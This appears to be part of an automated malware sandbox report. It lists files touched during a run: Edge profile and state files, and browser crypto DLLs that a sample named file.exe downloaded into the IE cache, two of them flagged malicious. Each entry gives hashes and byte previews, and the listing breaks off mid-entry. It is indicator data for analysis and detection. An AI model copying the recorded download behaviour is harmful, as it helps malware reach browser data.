File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.095658472457637
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2yi1zNtIWdoO2NXsszSuKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCWdovwuKtSmd6qE7lFoC
MD5:	D8977959E1FB9360001BC6D0045E913B
SHA1:	CE848DC62B794539A2CE578BA5BB47DAF377671D
SHA-256:	E23BB96D70487D372C5870481902B06993C20A09BDD0ACEA9FFEB01ED7842451
SHA-512:	0F1E98077E29A827AB44CE719EC8B7BAD2493CDF20D07AF22CD424B7662E4F5BE24C79BDC47672E4E449D87C7ACEB063A9EB6FB16189F4383C28DAEA376CA7DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67538593-1F10.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04697796917627641
Encrypted:	false
SSDEEP:	192:1VEa0m5tmunOAtqYhJqpjrZXpAgiT5jhxjNEjITdGRQ8R+XBaG+mn8y08Tcm2RGY:zP0Ut1/eN2hRxu8XUG508T2RGOD
MD5:	63D4B0EF86D7191B7E701890523B29CA
SHA1:	79E3D6E3ED106862902FDF4B113A797B368390DC
SHA-256:	33F39D3C205E4F6F0925F39388F72A16C98F62CF99DE614A4D0714F5865F10F5
SHA-512:	3B07202E5CF8AB27F523E1B9459D474F52B9F080AECFA71109879C7B1ADEC416C3359264E437842A2DAC027AC2C5B205794F12146B401A4DF7CC2063F590A05C
Malicious:	false
Preview:	...@..@...@.....C.].....@...............pf..(V..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".weoost20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089753687305852
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWmdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynKFkzItSmd6qE7lFoC
MD5:	5DF200FF00CC11D69B863D209D88060D
SHA1:	34D90506BC822531796F96C474F044C2C65B8150
SHA-256:	6E84A7153E558A8EFCDCA2ED961DA95AD35537C54E6E7BB311CCA69AA7EACBBE
SHA-512:	306F321E480657234D1DC6170473A4EAB88CFC36F9B7FABFC0759DE3F862D2C177974F901513003F27CC4CB7FADA0E08332AC036D5564176EC1A23F15B9EBBF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a605.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089753687305852
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWmdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynKFkzItSmd6qE7lFoC
MD5:	5DF200FF00CC11D69B863D209D88060D
SHA1:	34D90506BC822531796F96C474F044C2C65B8150
SHA-256:	6E84A7153E558A8EFCDCA2ED961DA95AD35537C54E6E7BB311CCA69AA7EACBBE
SHA-512:	306F321E480657234D1DC6170473A4EAB88CFC36F9B7FABFC0759DE3F862D2C177974F901513003F27CC4CB7FADA0E08332AC036D5564176EC1A23F15B9EBBF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a615.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089753687305852
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWmdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynKFkzItSmd6qE7lFoC
MD5:	5DF200FF00CC11D69B863D209D88060D
SHA1:	34D90506BC822531796F96C474F044C2C65B8150
SHA-256:	6E84A7153E558A8EFCDCA2ED961DA95AD35537C54E6E7BB311CCA69AA7EACBBE
SHA-512:	306F321E480657234D1DC6170473A4EAB88CFC36F9B7FABFC0759DE3F862D2C177974F901513003F27CC4CB7FADA0E08332AC036D5564176EC1A23F15B9EBBF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b2c7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089753687305852
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWmdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynKFkzItSmd6qE7lFoC
MD5:	5DF200FF00CC11D69B863D209D88060D
SHA1:	34D90506BC822531796F96C474F044C2C65B8150
SHA-256:	6E84A7153E558A8EFCDCA2ED961DA95AD35537C54E6E7BB311CCA69AA7EACBBE
SHA-512:	306F321E480657234D1DC6170473A4EAB88CFC36F9B7FABFC0759DE3F862D2C177974F901513003F27CC4CB7FADA0E08332AC036D5564176EC1A23F15B9EBBF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a9f8fa3a-629c-4a3e-91d1-44ecdcda9a8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089753687305852
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWmdi1zNtPMmkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynKFkzItSmd6qE7lFoC
MD5:	5DF200FF00CC11D69B863D209D88060D
SHA1:	34D90506BC822531796F96C474F044C2C65B8150
SHA-256:	6E84A7153E558A8EFCDCA2ED961DA95AD35537C54E6E7BB311CCA69AA7EACBBE
SHA-512:	306F321E480657234D1DC6170473A4EAB88CFC36F9B7FABFC0759DE3F862D2C177974F901513003F27CC4CB7FADA0E08332AC036D5564176EC1A23F15B9EBBF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b369a877-8229-4f9b-af69-6b441d40a734.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.095658472457637
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2yi1zNtIWdoO2NXsszSuKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCWdovwuKtSmd6qE7lFoC
MD5:	D8977959E1FB9360001BC6D0045E913B
SHA1:	CE848DC62B794539A2CE578BA5BB47DAF377671D
SHA-256:	E23BB96D70487D372C5870481902B06993C20A09BDD0ACEA9FFEB01ED7842451
SHA-512:	0F1E98077E29A827AB44CE719EC8B7BAD2493CDF20D07AF22CD424B7662E4F5BE24C79BDC47672E4E449D87C7ACEB063A9EB6FB16189F4383C28DAEA376CA7DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e488cc8f-5e6d-481d-bc39-31924e20fbc7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44929
Entropy (8bit):	6.095231960897683
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWoyi1zNtIWdoO29CSzFvEjKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynyWdov+KtSmd6qE7lFoC
MD5:	BE1A0D879555686D76E34168C91634B9
SHA1:	07A7E8D152968B5707F3A17C1239F2A7E9A33C3F
SHA-256:	DB3F010B67BE446EB94D0236EB0971A0DAA44D5948B4E1D059FF81D1693A4ECF
SHA-512:	93B6DF916D48B7349DBC492BC05CA918DD0FC0F5B243B0D62B5A260AFF19779ED3DC69B058EA8AD8C0405CE342CA36F6921EC5A17E0FB9537280C2B8D6C7EC3B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
